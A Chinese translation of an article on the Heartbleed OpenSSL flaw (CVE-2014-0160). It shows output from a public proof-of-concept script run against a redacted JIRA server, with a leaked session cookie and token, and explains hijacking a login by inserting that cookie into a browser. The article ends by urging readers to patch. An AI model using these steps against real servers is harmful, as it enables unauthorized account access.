Heartbleed 问题实际上比它现在能被看出来的更糟糕(其实现在看起来已经很坏了)。
Heartbleed (CVE-2014-0160) 是一个 OpenSSL 的漏洞,允许任何远程用户将服务器的一些内存进行转储。是的,这真的很糟糕。最值得关注的是,一个熟练的用户可以利用它通过一个流程将服务器用来与客户沟通的RSA私钥转储下来。发起这种攻击所要求的知识/技能水平并不是特别高,但可能超过脚本初级用户的平均水平。
那么为什么说 Heartbleed 比你想的更糟呢? 这很简单:目前可用的概念性证据的脚本允许任何客户端,在世界任何地方,进行用户登录的会话劫持攻击。
就在今天早上,被最广泛共享的概念性证明是这样一个简单的Python脚本:https://gist.github.com/takeshixx/10107280 。通过这个脚本,世界上任何人都可以从一个脆弱的服务器上转储一部分内存。
让我们看一看这个工具(它针对正在运行JIRA的票务跟踪系统的脆弱服务器的)的输出结果。为提高可读性,其中十六进制的输出部分已被删除。
[matt@laptop ~]# python heartbleed.py jira.XXXXXXXXXXX.com
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 3239
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
.@..GET /browse/
en_US-cubysj-198
8229788/6160/11/
(lots of garbage)
..............Ac
cept-Encoding: g
zip,deflate,sdch
..Accept-Languag
e: en-US,en;q=0.
8..Cookie: atlas
sian.xsrf.token=
BWEK-0C0G-BSN7-V
OZ1|3d6d84686dc0
f214d0df1779cbe9
4db6047b0ae5|lou
t; JSESSIONID=33
F4094F68826284D1
8AA6D7ED1D554E..
..E.$3Z.l8.M..e5
..6D7ED1D554E...
......*..?.e.b..
WARNING: server returned more data than it should - server is vulnerable!
这肯定是转储最近一个GET请求产生的内存。你注意到上面的 JSESSIONID Cookie 了吗?这是 JIRA 用来跟踪您的HTTP会话判断你是否已经登录的方式。如果这个系统需要验证(象JIRA的安装一样),那么我就可以将这个cookie插入到我的浏览器,成为这个JIRA安装程序的合法用户。
插入 session ID cookie 到浏览器中(译注:现代浏览器的功能让人们更容易成为黑客了).
保存修改的 cookie 之后, 我们简单地刷新一下浏览器.
重新载入安装 JIRA . 注意,我们现在登录进安装程序中了.
如上所见, 一旦我们得到一个有效的 session ID cookie, 我们就能作为内部员工访问 JIRA 安装. 检测到这种类型的攻击的唯一方法是检查每个请求通信的源地址。
该 Heartbleed 漏洞是糟糕的,而且几乎没有做什么来防止远程攻击者可能执行一个允许绕过认证的会话劫持攻击。请给您的系统立即打上补丁吧。
Heartbleed 的详细介绍:请点这里
Heartbleed 的下载地址:请点这里
相关阅读:
OpenSSL TLS心跳读远程信息泄露漏洞 (CVE-2014-0160)
OpenSSL严重bug允许攻击者读取64k内存,Debian半小时修复
通过OpenSSL提供FTP+SSL/TLS认证功能,并实现安全数据传输